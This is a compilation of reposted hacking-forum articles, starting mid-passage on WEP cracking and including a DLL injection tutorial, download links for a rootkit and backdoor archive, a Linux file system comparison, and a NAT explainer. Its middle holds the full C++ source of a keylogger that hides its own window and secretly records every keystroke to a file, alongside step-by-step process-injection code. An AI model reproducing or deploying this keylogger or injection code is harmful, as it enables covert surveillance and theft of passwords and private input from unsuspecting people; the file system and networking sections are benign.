attacker then employs systematic procedures in cracking the WEP. For this purpose, a large number (millions) of frames need to be collected because of the way WEP works. The wireless device generates on the fly an Initialization Vector (IV) of 24-bits. Adding these bits to the shared-secret key of either 40 or 104 bits, we often speak of 64-, or 128-bit encryption. WEP generates a pseudo-random key stream from the shared secret key and the IV. The CRC-32 checksum of the plain text, known as the Integrity Check (IC) field, is appended to the data to be sent. It is then exclusive-ORed with the pseudo-random key stream to produce the cipher text. The IV is appended in the clear to the cipher text and transmitted. The receiver extracts the IV, uses the secret key to re-generate the random key stream, and exclusive-ORs the received cipher text to yield the original plaintext. Certain cards are so simplistic that they start their IV as 0 and increment it by 1 for each frame, resetting in between for some events. Even the better cards generate weak IVs from which the first few bytes of the shared key can be computed after statistical analyses. Some implementations generate fewer mathematically weak vectors than others do. The attacker sniffs a large number of frames from a single BSS. These frames all use the same key. The mathematics behind the systematic computation of the secret shared key from a collection of cipher text extracted from these frames is described elsewhere in this volume. What is needed however is a collection of frames that were encrypted using ?mathematically-weak? IVs. The number of encrypted frames that were mathematically weak is a small percentage of all frames. In a collection of a million frames, there may only be a hundred mathematically weak frames. It is conceivable that the collection may take a few hours to several days depending on how busy the WLAN is. Given a sufficient number of mathematically weak frames, the systematic computation that exposes the bytes of the secret key is intensive. However, an attacker can employ powerful computers. On an average PC, this may take a few seconds to hours. The storage of the large numbers of frames is in the several hundred-mega bytes to a few giga bytes range. An example of a WEP cracking tool is AirSnort ( AirSnort Homepage ). Detection of the Sniffers Detecting the presence of a wireless sniffer, who remains radio-silent, through network security measures is virtually impossible. Once the attacker begins probing (i.e., by injecting packets), the presence and the coordinates of the wireless device can be detected. Sursa: Wireless Network Sniffing - r00tsecurity

[C] Dll Injection Ok Dll Injection is the process in which a dll is loaded into the memory space of a running process. This injected dll then can either hook or run or change memory values. It can do this because it is running in that processes memory space. Now the first thing to do is find the processes. Ok to find a certain process there a few ways but this is the easiest. To do this we need the help of some windows functions. HANDLE WINAPI CreateToolhelp32Snapshot( __in DWORD dwFlags, __in DWORD th32ProcessID ); BOOL WINAPI Process32First( __in HANDLE hSnapshot, __inout LPPROCESSENTRY32 lppe ); BOOL WINAPI Process32Next( __in HANDLE hSnapshot, __out LPPROCESSENTRY32 lppe ); Ok all of these functions are found in Tlhelp32.h Ok now these functions take structures that will be used to walk through a snapshot or list of the running processes on the computer at the time. Ok to explain what you have to do to get these to work for u is this. if you notice that CreateToolHelp32Snapshot returns a handle. This handle points to the snapshot(list) of the processes. The flags just needs to be set to TH32CS_SNAPPROCESS and the th32ProcessID to 0 example code: HANDLE snapshot = CreateToolhelp32Snapshot( TH32_SNAPPROCESS, 0 ); Ok now to put this snapshot to use you need to use the Process32First and Process32Next functions. Now these contain another structure. PPROCESSENTRY32 This structure holds the process info most notably the exe that was used to create this process. Theres other things this can beuse for but there not in this TUT. Ok now to get the first process you call Process32First PROCESSENTRY32 sentry; Process32First( snapshot, &sentry ); Ok this could use some error checking but what ever. Ok this will return the first process in the list. Now to check if this is the exe you need to compare the exe name with the one you want to find. strcmp( sentry.szExeFile, exe ); Now if this returns 0 then you found the process and you can get the processID like this. sentry.th32ProcessID; Ok if the first one is not the right one then you will have to loop through the list. To do this you can use any kind of loop you want, but a while is the best. Now to loop through the list you use Process32Next (it returns true or false) while( Process32Next( snapshot, &sentry ) { if( strcmp( sentry.szExeFile, exe ) == 0 ) break; } ok this puts the process ID in the sentry structure and you get it like before. Ok thats all the info you need to be able to write a function to find a process based on a name. Now for the actual injection method. Ok the method that will be used is done with CreateRemoteThread HANDLE WINAPI CreateRemoteThread( __in HANDLE hProcess, __in LPSECURITY_ATTRIBUTES lpThreadAttributes, __in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress, __in LPVOID lpParameter, __in DWORD dwCreationFlags, __out LPDWORD lpThreadId ); Ok this needs alittle explanation. To get this too work it helps to understand whats needed to get this to get the process to load and run our dll. hProcess is the process that the dll will be injected into. lpThreadAttributes is not need can be set to NULL dwStackSize is not needed also this is 0 lpStartAddress is the address of the function that this thread will call when its created lpParameter is the paramete to be passed to the function on thread creation dwCreationFlags is not need as the thread should run as soon as its create so set this to 0 lpThreadId this is not needed unless error checking is needed. Ok theres really only 3 parametes in that function that are important. They are hProcess, lpStartAddress, lpParameter Ok a few things needs to be said about this. This will allow us to create a thread ( after the process is opened ) and this thread will be use to load our dll. Now the only way a program can dynamically load a dll into itself is with the HANDLE LoadLibraryA( const char *lib ) Ok this is the ascii version of the function and it will be used. Ok this function will load a dll into a process's memory space and run the DllMain in the dll. Now to make this usefull we need to call it in the other process and not in ours. To do this we need one other bit of information. Mainly the Address of this function. This address is what will be passed to the CreateRemoteThread function. Now you can probley guess what the lpParameter is gonna be. But before that lets figure out how to get the address of the function. Ok this needs another windows function FARPROC GetProcAdress( HMODULE mod, const char *func ) Ok this is the function it need to take a HMODULE(HANDLE) to the module you want to find the address of the function. The func is the name of the function (LoadLibraryA) and then you need to get the address. Now the best way to store this address is in a LPVOID so this is whats gonna happen. So to get the handle to the module that contains the function were looking for (LoadLibraryA) we need to get this. Another name for module is a DLL so we can use the LoadLibrary function to get a HANDLE to the module (dll) like so: HANDLE kernel = LoadLibrary( "kernel32.dll" ); Ok then you can use the GetProAddress and get the LoadLibraryA address. LPVOID loadlib = (LPVOID)GetProcAddress( kernel, "LoadLibraryA" ); Ok now that we have the address of the function we need to inject(load) our dll into another process. Now One more thing is needed. Notice the parameter for LoadLibrary takes a string. This string needs to be passed to it or it won't work To do this though we can't just have the string in our process and try passing it to the function as this will cause a error. We need to get the string into the other process. Now to do this we have to use some more windows functions. HANDLE WINAPI OpenProcess( __in DWORD dwDesiredAccess, __in BOOL bInheritHandle, __in DWORD dwProcessId ); LPVOID WINAPI VirtualAllocEx( __in HANDLE hProcess, __in_opt LPVOID lpAddress, __in SIZE_T dwSize, __in DWORD flAllocationType, __in DWORD flProtect ); BOOL WINAPI WriteProcessMemory( __in HANDLE hProcess, __in LPVOID lpBaseAddress, __in LPCVOID lpBuffer, __in SIZE_T nSize, __out SIZE_T* lpNumberOfBytesWritten ); Ok the first gets a handle to the process with the passed ID, it also specifies what access you want. The next one allocates memory in the opened process. The last writes to this allocated memory. Ok this is kind of the point where all the tut starts to come together. Ok first use the function to get a process ID from the exe name and pass it to openprocess like so. HANDLE proc = OpenProcess( (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ), FALSE, GetProcIDfromName( SomeEXE ) ); Ok now have a handle to this process you want to inject the dll into. Now you need to allocate space for the dll path (this needs to be the complete full path). To do this call VirtualAllocEx and store the return value in a LPVOID. LPVOID tempmem = VirtualAllocEx( proc, NULL, strlen( fulldllpath ), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); Ok now that memory has been allocated for the dll path we can write it to this memory. This will be done with WriteProcessMemory we will pass the LPVOID that was return from VirtualAllocEx as the address of the memory block. WriteProcessMemory( proc, (LPVOID)tempmem, fulldllpath, strlen( fulldllpath ), NULL ); ok that was easy. Finally the injection can happen. Now we go back to the CreateRemoteThread function and pass in all the info we just spent getting. CreateRemoteThread( proc, NULL, 0, (LPTHREAD_START_ROUTINE)loadlibaddr, (LPVOID)tempmem, 0, NULL ); If everything went as planned the dll will be loaded into the remote process or inject. With this the dll can set hooks, edit memory, extend or mess with the process. Ok with CreateRemoteThread we passed the process ID that was found with our helper function. The address of the LoadLibraryA function from the kernel32.dll. And the address of the memory we wrote the path of the dll to be injected. Well thats really it. enjoy, elchupathingy. Sursa: [C] Dll Injection - r00tsecurity

Rootkits,Backdoors,Trojan s & Tunnels Download: http://rapidshare.com/files/98090332/Rootkit___Backdoor.part1.rar http://rapidshare.com/files/98093600/Rootkit___Backdoor.part2.rar http://rapidshare.com/files/98083123/Rootkit___Backdoor.part3.rar

Linux File Systems 101 Something every body should know about Linux file systems ---- INTRODUCTION ---- I'll talk today about the different and "commonly" used Linux file systems, as I see not so much people that really know the difference between them. And in fact there is a whole lot to it more than just generalizing the usage of each file system, they have different usage purposes and different futures that you might or might not want. Also I'd like to inform you that this article is NOT based on my personal experience of using the different file systems and I'd rather go with facts instead of following personal favorites as every case is different from the other. The information I gathered are freely available on the world wide web, and they are not special information whatsoever, meaning that anyone could find such information, but I thought a good short article about the subject will do no harm. This article will cover EXT2, EXT3, XFS and ReiserFS so no talking about any other "different" OS specific file system, so please don't bring other OS's file systems discussions over here. There will be no historical information here whatsoever, this article main purpose is to provide technical yet simple information about these various file systems to help you in the decision making process of choosing one over the other or better is mixing between them to maximize efficiency. ---- STRUCTURES ---- EXT2: File allocation: bitmap (free space), table (meta data) Bad blocks: table EXT3: Directory contents: table, H tree with dir_index* enabled File allocation: bitmap (free space), table (meta data) Bad block: table ReiserFS: Directory contents: B tree File allocation: bitmap XFS: Directory contents: B tree File allocation: B tree As we see here there are different structures, and they differ between the B trees and H trees, the B tree data structure keeps data sorted and allows searches, insertions, and deletions in logarithmic amortized time, it is commonly used in databases and file systems. In the other hand we have the H trees structure which is commonly used in VLSI as a clock distribution network (Basically it's a revised version of a B tree data structure for larger directories). * dir_index is an option that allows indexing which is turned on by typing the command tune2fs -O dir_index /dev/hdXXX. ---- LIMITS ---- EXT2: Max file size: 2-64 TiB Max number of files: 10^8 Max filename length: 255 bytes Max volume size: 16-32 TiB Allowed characters in filenames: Any byte except 'NUL' and 0x2F EXT3: Max file size: 16 GiB - 2 TiB Max number of files: Variable* Max filename length: 255 bytes Max volume size: 2-32 TiB Allowed characters in filenames: Any byte except 'NUL' and 0x2F ReiserFS: Max file size: 8 TiB Max number of files: 2^32 Max filename length: 4032 bytes, limited to 255 by Linux VFS (Virtual File System) Max volume size: 16 TiB Allowed characters in filenames: Any byte except 'NUL' and 0x2F XFS: Max file size: 8 EiB minus one byte (on x64 bit system) 16 TiB (on x32 bit system) Max filename length: 255 bytes Max volume size: 16 EiB Allowed characters in filenames: Any byte except 'NULL' * If V is the volume size in bytes, then the default number of inodes is given by V/(2^13) or the number of blocks, whichever is less. And the minimum is V/(2^23). The max number of subdirectories in one directory is fixed to 32000. I think the information above are self explanatory, so I don't have comments on this part of information except to get your attention on the difference between 'NUL' and 'NULL', they are in fact different and mean totally different things, the 'NUL' is a string termination character while 'NULL' means NO thing. ---- FEATURES ---- EXT2: Dates recorded: modification (mtime), attribute modification (ctime), access (atime) Date range: December 14, 1901 - January 18, 2038 Date resolution: 1s File system permission: POSIX Transparent compression: NO (available through patches) Transparent encryption: NO Supported OS's: Linux, BSD, Windows (through an IFS), Mac OS X EXT3: Dates recorded: modification (mtime), attribute modification (ctime), access (atime) Date range: December 14, 1901 - January 18, 2038 Date resolution: 1s, Nanosecond (using undocumented big i-node) Attributes: No-atime, append-only, synchronous-write, no-dump, h-tree (directory), immutable, journal, secure-delete, top (directory), allow-undelete File system permission: Unix permissions, ACLs and arbitrary security attributes (Linux 2.6 and later) Transparent compression: NO Transparent encryption: NO (provided at the block device level) Supported OS's: Linux, BSD, Windows (through an IFS) ReiserFS: Dates recorded: modification (mtime), attribute modification (ctime), access (atime) Date range: December 14, 1901 - January 18, 2038 Date resolution: 1s Forks: Extended attributes File system permission: Unix permissions, ACLs and arbitrary security attributes Transparent compression: NO Transparent encryption: NO Supported OS's: Linux XFS: Dates recorded: modification (mtime), attribute modification (ctime), access (atime) Date resolution: 1ns Attributes: YES File system permission: YES Transparent compression: NO Transparent encryption: NO (provided at the block device level) Supported OS's: IRIX, Linux, FreeBSD (experimental) ---- LINKS ---- http://www.virtualblueness.net/Ext2fs-overview/Ext2fs-overview-0.1-8.html http://www.google.com/search?hl=en&q=H+tree http://www.google.com/search?hl=en&q=B+tree http://www.google.com/search?hl=en&q=amortized+time http://www.google.com/search?hl=en&q=very+large+scale+integration http://www.google.com/search?hl=en&q=POSIX http://www.google.com/search?hl=en&q=Installable+File+System ---- FINAL WORD ---- As I said, these are the facts, however they might not reflect fixed performance, so everyone might encounter different results and different issues that is not the case with everybody else. Basically based on this information you will be able to decide which file system you going to need for your special usage, but I also advice you to seek opinions from experts that had past experiences with specific file systems and knows the tricks and tweaks to improve it or to how to keep disasters from happening. Sursa: Linux File Systems 101 - r00tsecurity

[C++] Simple KeyLogger using Keyboard Hook When invoking this program, you can optionally set an argument to specify the filename to output logs to. #include <Windows.h> #include <stdio.h> LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam); void log(char *str); char *translate(int vk,int up); int shift=0, caps=0; FILE *fd; int main(int argc, char *argv[]) { HWND self=GetConsoleWindow(); ShowWindow(self,SW_HIDE); HINSTANCE app=GetModuleHandle(NULL); SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,app,0); MSG msg; char *fname = (char*)malloc(500); if (argc<2) { strcpy(fname,"kl"); } else { strcpy(fname,argv[1]); } fd=fopen(fname,"w"); while (GetMessage(&msg,NULL,0,0)>0) { ShowWindow(self,SW_HIDE); TranslateMessage(&msg); DispatchMessage(&msg); } fflush(fd); fclose(fd); return 0; } LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { KBDLLHOOKSTRUCT *kb=(KBDLLHOOKSTRUCT *)lParam; char *str="[X]"; if (wParam==WM_KEYUP) { str=translate(kb->vkCode,1); } else if (wParam==WM_KEYDOWN) { str=translate(kb->vkCode,0); } if (str) log(str); return 0; } void log(char *str) { fwrite(str,1,strlen(str),fd); if (strstr(str," ")||strstr(str,"[CR]")) fflush(fd); } char* translate(int vk, int up) { if (up) { if ((vk==0x10)||(vk==0xa0)||(vk==0xa1)) shift=0; return 0; } else if ((vk==0x10)||(vk==0xa0)||(vk==0xa1)) { shift=1; return 0; } char *buf=(char*)malloc(16); memset(buf,0,16); if (vk<0x29) { switch (vk) { case 0x08: strcpy(buf,"[BS]"); break; case 0x09: strcpy(buf,"[TAB]"); break; case 0x0d: strcpy(buf,"[CR]"); break; case 0x14: caps^=1; break; case 0x20: buf[0]=' '; break; case 0x25: strcpy(buf,"[LT]"); break; case 0x26: strcpy(buf,"[UP]"); break; case 0x27: strcpy(buf,"[RT]"); break; case 0x28: strcpy(buf,"[DN]"); break; } return buf; } if (vk>0x69&&vk<0x70) { buf[0]=(char)(vk-0x40); } else if (vk>0x6f&&vk<0x88) { sprintf(buf,"[F%d]",vk-0x6f); } else if (isalpha(vk)) { if (!caps) if (shift) {buf[0]=(char)(toupper(vk));} else {buf[0]=(char)(tolower(vk));} else if (!shift) {buf[0]=(char)(toupper(vk));} else {buf[0]=(char)(tolower(vk));} } else { switch (vk) { case '1': if (!shift) {buf[0]=(char)vk;} else {buf[0]='!';} break; case '2': if (!shift) {buf[0]=(char)vk;} else {buf[0]='@';} break; case '3': if (!shift) {buf[0]=(char)vk;} else {buf[0]='#';} break; case '4': if (!shift) {buf[0]=(char)vk;} else {buf[0]='$';} break; case '5': if (!shift) {buf[0]=(char)vk;} else {buf[0]='%';} break; case '6': if (!shift) {buf[0]=(char)vk;} else {buf[0]='^';} break; case '7': if (!shift) {buf[0]=(char)vk;} else {buf[0]='&';} break; case '8': if (!shift) {buf[0]=(char)vk;} else {buf[0]='*';} break; case '9': if (!shift) {buf[0]=(char)vk;} else {buf[0]='(';} break; case '0': if (!shift) {buf[0]=(char)vk;} else {buf[0]=')';} break; case 0xba: if (!shift) {buf[0]=';';} else {buf[0]=':';} break; case 0xbb: if (!shift) {buf[0]='=';} else {buf[0]='+';} break; case 0xbc: if (!shift) {buf[0]=',';} else {buf[0]='<';} break; case 0xbd: if (!shift) {buf[0]='-';} else {buf[0]='_';} break; case 0xbe: if (!shift) {buf[0]='.';} else {buf[0]='>';} break; case 0xbf: if (!shift) {buf[0]='/';} else {buf[0]='?';} break; case 0xc0: if (!shift) {buf[0]='`';} else {buf[0]='~';} break; case 0xdb: if (!shift) {buf[0]='[';} else {buf[0]='{';} break; case 0xdc: if (!shift) {buf[0]='\\';} else {buf[0]='|';} break; case 0xdd: if (!shift) {buf[0]=']';} else {buf[0]='}';} break; case 0xde: if (!shift) {buf[0]='\'';} else {buf[0]='\"';} break; } } return buf; } Sursa: Simple Logger using Keyboard Hook - r00tsecurity

Network Address Translating explained If i have two computer on a single router is it possible for them to both have the same port open? For example, let's say i have port 80 open on 192.168.1.100 and i also have it open on 192.168.1.101. Lets say my IP adress to the internet is 67.44.33.22. It all depends what you mean by 'open' (Listening for incoming connections -or- Creating outbound connections). Since you cite port '80' in your example I will assume you wish to have two machines LISTENING on the same port number. Next it depends on what you mean when you say 'port' ... In particular 'who you are asking' ... If you ask each machine they may both claim to be using their port 80. But from the outside the case may appear differently. Such as in the example given above (See Zeedos post) where port 80 and 81 on your public address (The outside perspective) maps to either port 80 on computer 1 or port 80 on computer 2 (The inside, or 'hosts' perspective) This confusion will be addressed in answering your next question... Is it possible for an outside computer to be able to distinguish between the two? Lets take a look at what happens when your two computers (each with a unique 'inside' or 'private' address) both use the internet via a single IP provided by your ISP (The 'outside' or 'global' address)... and how your router distinguishes between all the incoming traffic and directs it to the appropriate machine. Lets assume your LAN (Your home network) uses the IP's 192.168.1.1 to 192.168.1.254 (That's 254 possible IPs) of which you are using 3... these are special 'inside only' IPs that have no meaning over the public internet. An example topology You have a LAN (Local Area Network) with 2 PC's and a router. The LAN has its own private addressing scheme (Normally 192.168.1.x or similar) and each device connected to the LAN gets an IP from this range. The routers IP is fixed (Often 192.168.1.100) It looks something like this... ,-------------------------, ,--|192.168.1.1 (Computer A) | L | |-------------------------| A |--|192.168.1.2 (Computer | N | '-------------------------' | ,-------------------------, '--|192.168.1.100 (ROUTER) | '-------------------------' Of course, thats the 'inside' or 'private' addressing scheme. As far as the internet is concerned you only have a single 'outside' IP address (The one provided by your ISP) ... Since the router acts as a gateway between the 'inside' (your private LAN) and the 'outside' (The big bad world) it needs to have a foot on both sides of the fence : ) So, as well as the 192.168.1.100 IP (used for talking to your lan) it also has an IP for talking to the public internet. It sits between the 'inside' and the 'outside' and forms a kind of bridge over which data can pass. If your ISP gives you the address 11.22.33.44 then your network will look something like the this... ,-------------------------, ,--|192.168.1.1 (Computer A) | L | |-------------------------| A |--|192.168.1.2 (Computer | N | '-------------------------' | ,-------------------------, '--|192.168.1.100 | inside ======| (ROUTER) |================ ,--|11.22.33.44 | outside | '-------------------------' I | S | P \|/ v Examine that for a moment and I think you will find it corresponds quite closely to what you probably see on your home network, give or take a few IP changes. Now settle down with a cup of tea cus this is gonna be a long ride and hopefully you're gonna learn a lot ; ) The basics (Or 'how your machines currently surf from a single IP') Now, when you set each computer to use 192.168.1.100 as its 'gateway' in the TCP/IP settings dialogue you are telling them where to send any traffic which does not belong in the 192.168.1.x range. Therefore, when you type Google into your web browser this is translated into googles IP address say... 62.62.62.62 which obviously is NOT a part of 192.168.1.x so it gets sent to your router. What happens next is magic : ) Well, not quite... but it is kinda clever : ) Lets follow what happens when Machine A (192.168.1.1) opens a temporary outgoing port, say 1025 ... and tries to connect to 62.62.62.62:80 (One of googles many webservers) Machine A sends a packet whos header contains... SOURCE = 192.168.1.1 :1025 DESTINATION = 62.62.62.62 :80 ... to the gateway (Your router) for passing to the outside world. Your router receives the packet, examines this header and makes a note in its 'translation table' INSIDE IP INSIDE PORT OUTSIDE IP OUTSIDE PORT --------------------------------------------------------------- 192.168.1.1 1025 62.62.62.62 Now, just as each computer has 65000+ ports, your router also has 65000+ ports. It looks to see if port 1025 is available and in this case we will assume it is. It decides to use ITS port 1025 to send your data and notes this fact in the translation table INSIDE IP INSIDE PORT OUTSIDE IP OUTSIDE PORT --------------------------------------------------------------- 192.168.1.1 1025 62.62.62.62 1025 This entry simply means, computer 192.168.1.1 (inside) used its port 1025 to send data to the public (outside) address 62.62.62.62... And the router sent this data from its own port 1025 (The 'outside port) It then sends the data... but only after changing the IP header packet received from LAN: SOURCE = 192.168.1.1 :1025 DESTINATION = 62.62.62.62 :80 Packet sent to ISP: SOURCE = 11.22.33.44 :1025 DESTINATION = 62.62.62.62 :80 Notice that the destination is the same, but now the packets source is your *ISP SUPPLIED* (or public) address. This is imortant since there may be billions of computers with the 'inside' IP 192.168.1.1 all over the world but there should only be one device with the unique public IP 11.22.33.44 (your router) ... and because of this, google knows unambiguously where to send the replies. Thats fine. But when your router receives a reply from google, how does it know which computer to send it to ? Well ... thats easy, it uses its translation table, but in reverse (Right to Left). INSIDE IP INSIDE PORT OUTSIDE IP OUTSIDE PORT --------------------------------------------------------------- 192.168.1.1 1025 62.62.62.62 1025 The IP header of the reply (google -> router) looks like this: SOURCE = 62.62.62.62 :13948 DESTINATION = 11.22.33.44 :1025 The packet is coming from OUTSIDE (It was received on the ISP-facing interface 11.22.33.44) and is from 62.62.62.62 (google) Does 62.62.62.62:1025 appear in the table under OUTSIDE IP/PORT ... Yes it does! So the router knows that it is a reply to Machine A (192.168.1.1) and should be redirected to 192.168.1.1:1025 It therefore changes the packet accordingly... packet as received from google: SOURCE = 62.62.62.62 :13948 DESTINATION = 11.22.33.44 :1025 Translated packet as placed on LAN: SOURCE = 62.62.62.62 :13948 DESTINATION = 192.168.1.1 :1025 .. And the packet is thus recieved by Machine A who is blissfully unaware of the header changes that made the whole thing work. Fantastic! How collisions are resolved when two machines use same Destination_IP / Local_PORT Okay, great, but thats just one machine... If Machine B also tried to contact google using a temporary outbound port 1025, but the routers port 1025 is 'in use' (possibly because of that last transaction involving Machine A) the router simply chooses a different port number. Thus it not only changes the IP from 192.168.1.2 to 11.22.33.44 but also the PORT from 1025 to perhaps 1027. And makes another note in the translation table: INSIDE IP INSIDE PORT OUTSIDE IP OUTSIDE PORT --------------------------------------------------------------- 192.168.1.1 1025 62.62.62.62 1025 192.168.1.2 1025 62.62.62.62 1027 Both machines have used the same inside port (1025) to talk to the same outside address (google at 62.62.62.62) but these are passed to google from different ports (1025 and 1027) and so, when replies come back to these two router ports it allows the router to identify where they belong) The translation table above will convert: Incoming data from outside address 62.62.62.62 arriving at routers outside port *1025* will be redirected to Machine A's port 1025 Meanwhile... Incoming data from outside address 62.62.62.62 arriving at routers outside port *1027* will be redirected to Machine B's port 1025 Again, it works : ) And thats why both your machines can access the internet simultaneously even though 'the internet' sees only one IP. Each individual communication is differentiated by dynamically assigned port numbers. Okay, here we get to the crux of your problem... Problems using listening ports Lets say your translation table now looks like this: INSIDE IP INSIDE PORT OUTSIDE IP OUTSIDE PORT --------------------------------------------------------------- 192.168.1.1 1025 62.62.62.62 1025 192.168.1.2 1025 62.62.62.62 1027 ... But Machine A is running a webserver which listens on port 80. When a packet arrives from some unknown address on the routers outside port 80 the translation table doesn't know what to do with it. There are no clues, so the router throws it away. Thats why NAT is often considered as a 'security improvement' ... unexpected incoming packets are thrown away before they ever get to a PC on your LAN. Good news for the security conscious - bad news if you're running a web server. Luckily, NAT provides a couple of fixes for this... Solution 1 - Default address translation The first fix is setting a default address. You can tell the router that if the dynamic translation table doesn't explicitly state how to handle an incoming packet then send it to a particular machine by default. This creates an table like the following: INSIDE IP INSIDE PORT OUTSIDE IP OUTSIDE PORT --------------------------------------------------------------- 192.168.1.1 1025 62.62.62.62 1025 192.168.1.2 1025 62.62.62.62 1027 ...otherwise... 192.168.1.1 - any any If the received packet matches the first line, its a reply to machine A If the received packet matches the second line, its a reply to machine B BUT, if no match is found... pass it to machine A and keep the destination port number intact. This means that Machine A will receive any unexpected rubbish (such as attacks, internet worms, portscans, etc...) along with legitimate queries to its port 80 (webserver) and any other servers it happens to run. This could be the basis of a simple DMZ or honeypot - one machine which receives all unannounced/unexpected incoming traffic and is thus exposed to risk. In a DMZ however, this machine would always be isolated from the actual LAN so that infections and attacks against this machine could not then spread to the other machines. Solution 2 - Port Forwarding (Static Port Translation) The next technique is far more useful. You can explicitly connect a routers outside port to a particular inside machine and port - this is commonly called 'port forwarding' and is normally used when an application or server requires a 'listening port' such as a webserver or, more commonly, an online-game or peer-to-peer program. Here we tell the router ... if anyone sends anything to your port 80 ... pass it to machine A's port 80 INSIDE IP INSIDE PORT OUTSIDE IP OUTSIDE PORT --------------------------------------------------------------- 192.168.1.1 80 anyone 80 Useful for a webserver. Unfortunately, it means that if Machine B wants to use a webserver it MUST use a different outside port number (Remember, the outside port number is what other people see) Following from the example provided by Zeedo earlier... we can tell the router that if anything arrives at the routers port 80 it goes to Machine A's webserver, and if anything arrives at port 81 it goes to machine B's webserver. INSIDE IP INSIDE PORT OUTSIDE IP OUTSIDE PORT --------------------------------------------------------------- 192.168.1.1 80 anyone 80 192.168.1.2 80 anyone 81 Note that although the world sees ONE IP with a webserver on port 80 and another webserver on the non-standard port 81 internally both machines are using port 80. See below how the public perception of your two webservers differs from the reality of your LAN setup. Internets view Reality ---------------- ------- 11.22.33.44:80 = 192.168.1.1:80 11.22.33.44:81 = 192.168.1.2:80 Specific applications / Applications on multiple machines Some applications allow you to SPECIFY which ports it should listen on. An example of this is the common filesharing program eMule/eDonkey. In the 'network settings' options you can specify the listening port. You can use this feature to your advantage if two users on your network both wish to use eMule ... eMule by default likes to listen on: 4662 (to TCP connections) 4672 (to UDP datagrams) First... Set Machine A's eMule to listen on port 11662 and 11672 Set Machine B's eMule to listen on port 12662 and 12672 Note that I've kept most of the number intact, as an aide to memory more than anything else. But I've prepended 11xxx (For the machine at 192.168.1.1) and 12xxx (For the machine at 192.168.1.2) You can then tell your router... Forward anything arriving on port range 11000-11999 to 192.168.1.1 Forward anything arriving on port range 12000-12999 to 192.168.1.2 This means that you never need to touch the router again. If, say, your sister wants to add a chat client that likes to listen on port 9990 she simply changes it to 12990 (If shes on machine and the router is already set up to forward those packets to her machine. The same chat client on machine A would be using 11990 and the router knows (by the range given) which machine any incoming packet is bound for. Things to consider before configuring NAT All of the examples given here require each machine to have a STATIC IP ... Ie, the 192.168.1.1 and 192.168.1.2 assignments NEVER change. Normally when you use a router it gives out random IP's in the 192.168.1.x range. This works for outgoing NAT/PAT but NOT when you want to run a server or some application that requires a listening port (Or, in the case of most peer-to-peer it will WORK, but slowly being denied the ability to accept connections unexpectedly) So, first up ... Set up static IPs for all machines in your LAN And then... Set up port forwarding (or a default mapping) as required to suit your webserver and other listening applications How to configure NAT on your router... How to do this varies from router to router... luckily theres a site which not only explains how to set up most common routers for static IP and port mapping but it also contains a list of common games and applications which require port mapping to run successfully and which ports you need to map. So, For further information (with detailed screenshots) visit... Here is the site: PortForward.com - Port Forwarding Guides Listed by Manufacturer and Model Applications with well-known ports Unlike the emule example above, some applications have 'expected' port numbers such as port:80 for Webservers. Not using the correct port number can cause confusion for those trying to reach your site. This can be more of a problem. Lets say you want to host 2 websites both using public port 80 ... either from a single machine (quite simple, most webservers can be configured to host multiple sites from a single IP & PORT) or from multiple machines (More difficult for the home user but can be done if you really need to) If this applies to you then there ARE workarounds. Post exactly what you're trying to achieve and I'm sure we can find a suitable solution for you. Final note (if for some reason Address Translation really interests you) Whilst I (and others) have referred to this forwarding mechanism as NAT (Network Address Translation) for simplicity it is actually inaccurate. The correct term is PAT (Port Address Translation) or NAPT (Network Adress Port Translation) since it uses the 'PORT' to differentiate between different 'inside' addresses and ports - NAT is actually a much older and less flexible concept however you will probably find that your router refers to this as NAT rather than PAT. The traditional NAT is formally described in 'RFC 1631' (look on Internet FAQ Archives - Online Education - faqs.org for the RFC document) and is a good place to start learning about how NAT originated. You'll notice that it doesn't provide for most of the features we've described here today - although you will discover some new ones I didn't cover : ) However, knowing the difference between standard NAT and the more common PAT is important when shopping for a router. Whilst most routers that boast 'NAT' will also provide 'PAT' this will not always be the case ... particularly as we move towards IPv6. NAT will always be around, but PAT/NAPT are dirty (but neccessary) workarounds for the limitations in IPv4. Though PAT/NAPT is predominant currently it will be far less common after IPv6 becomes the predominant end-to-end standard. Use google to compare and contrast... - Outgoing (or traditional) NAT - Bi-directional (or 2-way) NAT - Overloaded or 'Port-Based' NAT (PAT / NAPT) - Overlapped or 'Twice' NAT (2NAT) Caveat Tinkerer One last thing to note about PAT/NAPT is that it is NOT transparent. It CAN cause problems since it is not only the headers that need changing, some common protocols (Such as FTP for example) also carry IP data in upper layers which also needs to be changed. Some routers will detect and correct these upper layers too but many domestic routers do not, if you have problems with specific protocols contact your router manufacturer and find out whether your router has such capabilities or if the extent of its translation is confined to the IP and transport layers. Even where upper layers of such protocols ARE handled by the router they may not be handled in all cases... for example, if the packet is fragmented. And many less common protocols (such as proprietary ones used in games and messaging applications) won't have any upper-layer translation requirements serviced at all. But, for the most part it should work. Hope you at least skipped through that and picked up one or two key concepts that help you understand how your current network gets things done. Knowing HOW Address Translation works will help you understand how to fix it when it doesn't : ) But I reiterate ... It sounds like you want to host 2 websites both using a public port 80... either: from a single machine (quite simple, most webservers can be configured to host multiple sites from a single IP & PORT) -or- from multiple machines (More difficult for the home user but can be done if you really need to) If this applies to you then there ARE workarounds. Post exactly what you're trying to achieve and I'm sure we can find a more suitable solution for you. -Meds Sursa: Security Forums :: View topic - Network Address Translating explained

